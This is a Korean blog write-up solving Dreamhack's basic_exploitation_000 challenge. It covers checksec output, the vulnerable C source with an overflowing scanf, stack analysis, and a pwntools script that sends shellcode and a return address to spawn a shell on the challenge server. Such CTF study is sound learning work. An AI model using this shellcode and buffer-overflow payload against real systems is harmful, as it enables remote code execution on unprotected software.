pwnable 배웠는데 그래도 맛이라도 보자.
 

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/6cfb7fc8-faea-431e-ae90-305736581cfc/basic_exploitation_000' 
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

일단 아무런 보호조치가 걸려있지 않다.
 

2. Analysis

우선 코드부터 보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

대충 보면 버퍼의 크기는 0x80, 버퍼의 위치를 출력해주고 그 다음 scanf로 버퍼에 입력받는다.
 

main함수 디스어셈블 결과인데, 버퍼의 시작위치는 [ebp-0x80] == [esp]인 것이 보인다. leave에 bp를 걸고 확인해보자.

그렇다면 우리가 해야할 것은 sfp 4byte를 생각하여 shell코드를 버퍼에 먼저 입력시키고 0x84에서 shell 코드를 뺀 나머지 크기에 dummy data를 채운 후 마지막에 buf를 리턴시키면 shell을 얻을 수 있을 것이다.

3.exploit

 

from pwn import *

p = remote('host3.dreamhack.games', 10820)

#scanf 우회 shell code
shell = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

p.recvuntil('buf = (')
buf = int(p.recv(10), 16)
p.recvuntil('\n')

print(buf)

payload = shell
payload += b'\x41' * (0x80 - len(shell) + 4)
payload += p32(buf)

p.sendline(payload)
p.interactive()

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_002  (0) 2022.08.08
Dreamhack basic_exploitation_001  (0) 2022.08.08

+ Recent posts